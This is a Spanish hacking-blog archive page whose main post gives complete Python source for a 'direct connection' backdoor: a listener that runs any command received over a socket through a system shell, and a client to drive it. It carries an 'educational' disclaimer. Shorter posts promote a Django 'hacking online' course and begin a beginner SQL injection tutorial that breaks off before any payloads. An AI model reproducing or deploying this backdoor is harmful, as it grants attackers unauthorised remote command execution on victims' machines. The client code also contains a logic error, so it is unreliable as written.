Tag Archive WEB

BySin Rostro

Creando un backdoor en python

Vamos a crear un backdoor en python😈😈😈😈😈😈😈😈😈, para que nos ayude en nuestras pruebas de pentest, nos servira cuando no podamos hacer uso de otros metodos de backdoring.

 

Este backdoor es de Conexion Directa. Trate de dejarlo lo mas comentado posible Saludos Hackers.

import sys, os
import socket
import getopt
import threading
import subprocess

# Definimos algunas variables globales
listen             = False
command            = False
target             = ""
port               = 0

# Vamos a definir una funcion que nos provea 
# de ayuda
def usage():
    print "\n\tTroyano de Conexion Directa"
    print 
    print "Uso: backdoor.py -t target_host -p port"
    print "-l --listen                       escuchar en [host]:[port]"
    print "-s --shell                      inicializa una shell"
    print
    print
    print "Ejemplos: "
    print "python backdoor.py -t 192.168.1.1 -p 5555 -l -s"
    print "\tPara dejar en escucha una shell"
    print "python backdoor.py -t 192.168.1.1 -p 5555"
    print "\tPara conectarse a una shell"
    print "\nSimple Backdoor de Conexion Directa para los"
    print "Miembros de la Comunidad de Hacking Publico & Sistemas Informaticos"
    print "el Creador de este codigo o cualquier Miembro de Hacking Publico"
    print "NO se hacen responsables por el uso que le puedan dar a este codigo,"
    print "el cual esta hecho con fines Educativos."
    sys.exit(0)

# Funcion que se encargara de el cliente
# osea la computadora que se conecta al 
# backdoor 
def client_sender():
    # Creamos el socket
    cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        # Hacemos la conexion al servidor/backdoor
        cliente.connect((target, port))
        # Aqui solo te pregunto tu nickname
        nickname = raw_input("Cual es tu nickname ? ")
        # Lo concateno (Tu nick) con otra cadena
        nickname += "@hacker ~:#"
        # Envio un whoami (Para que sepamos que 
        # usuario somos en el equipo comprometido)
        cliente.send("whoami")
        # Recibimos el usuario
        usuario = cliente.recv(1024)
        # Y lo imprimimos
        print "Eres el usuario: \t%s" % usuario
        
        while True:
            # Esperamos por mas input           
            buff = raw_input("%s " % nickname)
            
            # Enviamos comando
            cliente.send(buff)
            # El data es la respuesta del comando 
            # que Enviamos
            data      = cliente.recv(1024)

            print data
            
            # Si el comando es "exit"
            # nos desconectamos del servidor/backdoor
            # si es limpiar pantalla 
            # la limpiamos 
            try:
                if "exit" in buff:
                    cliente.send("exit")
                    cliente.close()
                    print "Bye, Bye!!!"
                    break     
                if "cls" or "clear" in buff:
                    if os.name('nt'):
                        os.system("cls")
                    else:
                        os.system("clear")
            except:
                continue
                        
    except:
        # Si hubo un error se produce una Excepcion
        # y salimos del script
        print "[*] Excepcion! Saliendo!!!"
        cliente.close()
        
def server_loop():
    global target
    
    # Si no indicamos la opcion -t
    # el server toma esta direccion
    if not len(target):
        target = "0.0.0.0"
    
    # Creamos el socket para las conexiones 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    
    # Creamos un hilo por cada cliente que se conecte
    try:
        while True:
            client_socket, addr = server.accept()
            
            client_thread = threading.Thread(target=client_handler,
                                             args=(client_socket,))
            print "[*] Nuevo cliente conectado %s" % socket.gethostname()
            client_thread.start()
            
    except KeyboardInterrupt:
        print "Se ha detenido el server"
        sys.exit(1)        
        
        
def run_command(command):

    command = command.rstrip()

    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, 
                                         shell=True)
    except:
        output = "Fallo al ejecutar el comando.\r\n"
 
    return output

def client_handler(client_socket):
    global command
     
    if command:
        while True:
            

            cmd_buff = client_socket.recv(1024)

            if "exit" in cmd_buff:
                print "El cliente %s se DESCONECTO." % socket.gethostname()
                client_socket.close()
                break                    
            
            response = run_command(cmd_buff)
            
            client_socket.send(response)
            
def main():
    global listen
    global port
    global command
    global target
    
    # aqui verificamos que el usuario haya
    # dado opciones, si no, imprime el modo
    # de uso (funcion usage() )
    if not len(sys.argv[1:]):
        usage()
    
    # Si el usuario dio opciones las leemos 
    # para verificar que sean validas, despues 
    # ejecutar lo correspondiente
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hlt:p:s", ["help", "listen", "target",
                                                             "port", "shell"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    
    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-s", "--shell"):
            command = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)     
        else:
            assert False, "Opcion no valida"
            
    if not listen and len(target) and port > 0:
        client_sender()
    if listen:
        server_loop()

main()

 

ByIsrael Pérez

Curso Desarrollo Web Django – Web Hacking Online

Hola, ¿Que tal?

Quiero presentar el curso de Desarrollo Web con Django donde crearemos una plataforma web para el hacking online. Esta plataforma interactuará con distintas herramientas y nos permitirá realizar pruebas de seguridad sin necesidad de tener un Pc con las herramientas instaladas y lo mejor es que podemos utilizarlo desde cualquier parte del mundo siempre y cuando tengamos una conexión a Internet.

Acceso al Curso

Introducción -> https://youtu.be/NG9i0WHW8tc?list=PLqDeWqLgG5nVvA6evtP1vlZ6Tepm3YnUV

Acceso Directo a lista de reprodución -> https://www.youtube.com/playlist?list=PLqDeWqLgG5nVvA6evtP1vlZ6Tepm3YnUV

Proyecto Github -> https://github.com/uservzk80/HackingOnline

¿Qué es Django?

Es un framework de desarrollo web de código abierto, escrito en Python, que respeta el patrón de diseño conocido como Modelo–vista–controlado

La meta fundamental de Django es facilitar la creación de sitios web complejos. Django pone énfasis en el re-uso, la conectividad y extensibilidad de componentes, el desarrollo rápido y el principio No te repitas (DRY, del inglés Don’t Repeat Yourself). Python es usado en todas las partes del framework, incluso en configuraciones, archivos, y en los modelos de datos.

 

Espero que les guste 🙂

 

BySin Rostro

La Receta para SQLi (para novatos)

Hola Hackers en esta entrada veremos una inyección SQL muy básica es para novatos (así que si ya eres un viejo lobo en estos temas tal vez te parezca un poco aburrido), veremos un poco de teoría, no mucha ya saben que casi no me gusta y un pequeño ejemplo para que quede un poco mas claro.

LOS INGREDIENTES.

  • SQL
  • INYECCIONES SQL
  • Algunos comandos y funciones

 

SQL

Structured Query Language, traducido al español como Lenguaje de Consulta Estructurado es un lenguaje de programación estándar e interactivo para obtener información desde una base de datos y para actualizarla. Dicho en una manera mas amena y entendible podemos decir que con SQL podemos interactuar con una base de datos modificarla y hasta eliminar todo su contenido. Basaremos este tutorial en MYSQL.

INYECCIONES SQL

EL SQLi es una vulnerabilidad muy antigua pero muy común, que ocurre al no hacer una correcta verificación o delimitación de los datos de entrada que van dirigidos hacia el servidor y posteriormente a la base de datos. Por ende los datos de entrada que no se verifican deben ser comandos validos de SQL. Existen 2 métodos de inyección el GET y POST.

Algunos comandos y funciones

Ahora veremos algunos comandos que nos podrán servir, no los veremos a fondo ya que no es un mini curso de SQL. Pero esta demás saber que existen muchos mas comandos y funciones que los que utilizaremos. Además también existen parámetros que se pueden aplicar a cada comando/funciones como el de DISTINCT a la función GROUP_CONCAT, en fin no nos toca eso.

  1. UNION  – se usa para combinar el resultado de un numero de comandos
  2. SELECT – se usa para seleccionar datos
  3. INSERT – se usa para agregar datos
  4. DELETE – se usa para eliminar datos
  5. UPDATE – se usa para actualizar datos existentes
  6. GROUP_CONCAT – se usa para concatenar todos los registros (no importa si no entienden bien mas adelante se apreciara mejor)
  7. ORDER BY – ordena los registros de la selección actual.
  8. Los demas que usaremos son más sencillos de entender.

Read More